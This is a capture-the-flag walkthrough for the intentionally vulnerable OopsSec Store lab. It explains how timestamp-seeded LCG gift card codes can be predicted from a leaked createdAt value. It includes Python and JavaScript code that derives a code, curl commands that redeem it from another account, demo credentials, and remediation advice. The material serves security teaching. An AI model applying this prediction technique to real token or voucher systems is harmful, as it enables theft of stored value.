Skip to content
OopsSec Store - Walkthroughs
Go back

Insecure Randomness: recovering a gift card code from its timestamp

Edit page

The OopsSec Store sells digital gift cards: pick a denomination, type a recipient, get a XXXX-XXXX-XXXX code by email. That code is everything. Whoever has it can spend it.

Which is a problem, because the code isn’t random. It comes out of a classic linear congruential generator (LCG) seeded with the card’s createdAt timestamp in milliseconds, and the app happily renders that timestamp to the millisecond on both /profile/gift-cards and GET /api/gift-cards. Seed in the response, generator in the repo, the rest is arithmetic.

Table of contents

Open Table of contents

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000. Two demo accounts are relevant:

Target identification

Log in as Alice and visit /profile/gift-cards. You will see one card pre-seeded:

That trailing .456 isn’t a formatting quirk. It’s the milliseconds, and it’s the seed.

/profile/gift-cards

Click Resend email on the card. The UI responds with Email service temporarily unavailable. That endpoint always fails. This is by design: the server has gone out of its way to not give you the code back, even though you are the legitimate buyer. You can confirm the same response from the API:

curl -X POST http://localhost:3000/api/gift-cards/resend \
  -H "Content-Type: application/json" \
  -H "Cookie: authToken=<alice-authToken>" \
  -d '{"id":"gc-seeded-001"}'
{ "error": "Email service temporarily unavailable" }

Same story for GET /api/gift-cards — it returns the card metadata but omits the code field. The createdAt is right there though:

{
  "id": "gc-seeded-001",
  "amount": 500,
  "recipientEmail": "forgotten-friend@oopssec.store",
  "status": "PENDING",
  "createdAt": "2025-01-15T10:42:33.456Z"
}

Understanding the vulnerability

How the code is generated

The generator lives in lib/gift-card.ts:

const ALPHABET = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"; // 32 chars

function nextState(state: number): number {
  return (Math.imul(state, 1103515245) + 12345) & 0x7fffffff;
}

export function generateGiftCardCode(seed: number): string {
  let state = seed & 0x7fffffff;
  const chars: string[] = [];
  for (let i = 0; i < 12; i++) {
    state = nextState(state);
    const index = (state >>> 16) % ALPHABET.length;
    chars.push(ALPHABET[index]);
  }
  // returns XXXX-XXXX-XXXX
  ...
}

Three things should set off alarms:

Where the seed lives in the response

POST /api/gift-cards (the purchase endpoint) sets createdAt = new Date() and calls generateGiftCardCode(createdAt.getTime()). createdAt is then stored on the row, returned in GET /api/gift-cards, and displayed on /profile/gift-cards. Any single one of those pins down the exact millisecond.

Why Math.imul?

Multiplying a 31-bit state by 1103515245 can overflow JavaScript’s 53-bit safe integer range. Math.imul performs exact 32-bit signed multiplication, which matches how the LCG is defined. When you port the exploit to Python, you get the same precision for free because Python integers are arbitrary-precision.

Exploitation

Step 1: Read the target’s createdAt

Log in as Alice (the buyer of the seeded card) and grab the timestamp. Either visit /profile/gift-cards and read it off the card, or call the API:

curl -s -c cookies.txt -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com","password":"iloveduck"}' >/dev/null

curl -s -b cookies.txt http://localhost:3000/api/gift-cards | python3 -m json.tool

Note the createdAt of the card addressed to forgotten-friend@oopssec.store. For the seeded row it is 2025-01-15T10:42:33.456Z.

Step 2: Re-implement the LCG and derive the code

#!/usr/bin/env python3
"""Reproduce the OopsSec Store gift card code from a createdAt timestamp."""

import datetime

ALPHABET = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"
MULTIPLIER = 1103515245
INCREMENT = 12345
MASK = 0x7fffffff


def gift_card_code(seed_ms: int) -> str:
    state = seed_ms & MASK
    chars = []
    for _ in range(12):
        state = (state * MULTIPLIER + INCREMENT) & MASK
        chars.append(ALPHABET[(state >> 16) % len(ALPHABET)])
    return f"{''.join(chars[0:4])}-{''.join(chars[4:8])}-{''.join(chars[8:12])}"


created_at = datetime.datetime(
    2025, 1, 15, 10, 42, 33, 456000, tzinfo=datetime.timezone.utc
)
seed_ms = int(created_at.timestamp() * 1000)
print(gift_card_code(seed_ms))
JQSP-2G6N-G2ZY

You can sanity-check the same logic in a browser console:

function code(seed) {
  const ALPHABET = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
  let s = seed & 0x7fffffff;
  let out = "";
  for (let i = 0; i < 12; i++) {
    s = (Math.imul(s, 1103515245) + 12345) & 0x7fffffff;
    out += ALPHABET[(s >>> 16) % ALPHABET.length];
    if (i === 3 || i === 7) out += "-";
  }
  return out;
}
code(new Date("2025-01-15T10:42:33.456Z").getTime());
// "JQSP-2G6N-G2ZY"

Step 3: Redeem from a different account

The recipient on the card is forgotten-friend@oopssec.store, a throwaway address nobody owns. Handy, because redemption doesn’t actually check who’s redeeming. Log in as Bob, paste the derived code at /checkout/redeem, or hit the API directly:

curl -s -c bob.txt -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"bob@example.com","password":"qwerty"}' >/dev/null

curl -s -b bob.txt -X POST http://localhost:3000/api/gift-cards/redeem \
  -H "Content-Type: application/json" \
  -d '{"code":"JQSP-2G6N-G2ZY"}' | python3 -m json.tool
{
  "success": true,
  "amount": 500,
  "balance": 500,
  "flag": "OSS{1ns3cur3_r4nd0mn3ss_g1ft_c4rd}"
}

$500 of store credit now belongs to Bob, and the flag is in the response.

Flag

Vulnerable code analysis

The full generator in lib/gift-card.ts:

function nextState(state: number): number {
  return (Math.imul(state, 1103515245) + 12345) & 0x7fffffff;
}

export function generateGiftCardCode(seed: number): string {
  let state = seed & 0x7fffffff;
  const chars: string[] = [];
  for (let i = 0; i < GROUP_COUNT * GROUP_SIZE; i++) {
    state = nextState(state);
    const index = (state >>> 16) % ALPHABET.length;
    chars.push(ALPHABET[index]);
  }
  const groups: string[] = [];
  for (let g = 0; g < GROUP_COUNT; g++) {
    groups.push(chars.slice(g * GROUP_SIZE, (g + 1) * GROUP_SIZE).join(""));
  }
  return groups.join("-");
}

And the purchase path in app/api/gift-cards/route.ts — the seed is createdAt.getTime():

const createdAt = new Date();
const code = generateGiftCardCode(createdAt.getTime());

const giftCard = await prisma.giftCard.create({
  data: {
    code,
    amount,
    recipientEmail,
    message,
    createdAt,
    buyerId: user.id,
  },
});

Once you observe createdAt for any card, you can replay generateGiftCardCode(createdAt.getTime()) offline and obtain the code.

Remediation

Do not use a PRNG for secrets

Replace the LCG with a draw from the OS entropy pool:

import { randomBytes } from "node:crypto";

const ALPHABET = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";

export function generateGiftCardCode(): string {
  const bytes = randomBytes(12);
  const chars: string[] = [];
  for (let i = 0; i < 12; i++) {
    chars.push(ALPHABET[bytes[i] % ALPHABET.length]);
  }
  return `${chars.slice(0, 4).join("")}-${chars
    .slice(4, 8)
    .join("")}-${chars.slice(8, 12).join("")}`;
}

The function no longer accepts a seed — there is nothing for the attacker to leak. At 12 characters from a 32-character alphabet, the code carries ~60 bits of entropy, which is well beyond any realistic enumeration attack.

Math.random() is not the fix either. The natural reflex after reading this is “fine, I’ll swap the LCG for Math.random()”. Don’t. V8 uses xorshift128+ under the hood, which is not cryptographically secure: given enough consecutive outputs from the same isolate, the internal state can be recovered and all past/future outputs predicted. The v8.dev blog post on Math.random walks through the algorithm and its limits. The reason we used an explicit LCG in this challenge is pedagogical — it makes the exploit a ten-line Python loop — but “custom PRNG” and “Math.random()” are two flavours of the same CWE-338 mistake. The only correct primitive for anything that functions as a secret is crypto.randomBytes() / crypto.getRandomValues().

Stop leaking creation timestamps with millisecond precision

The UI and API do not need ms-level timestamps on a gift card. Truncate to the day, or drop the field from the public response entirely. Even if the underlying PRNG were strong, returning internal state with extra precision is an unforced error.

Store the code hashed, not in plaintext

Treat the code like a password. Hash it at creation (SHA-256 is fine for high-entropy secrets), store only the hash, and compare hashes at redemption. A database leak then costs you zero dollars in refunds.

Constant-time comparison and atomic redemption

Compare codes with crypto.timingSafeEqual, and make the redeem operation atomic (UPDATE ... WHERE status = 'PENDING' AND codeHash = ...). The current codebase already does this in the redeem handler — worth keeping when you rewrite the generator.

Takeaways

References


Edit page
Share this post on:

Previous Post
Cross-Site Request Forgery on the Admin Order Update Endpoint
Next Post
Path Traversal: Escaping the Documents Directory via the Files API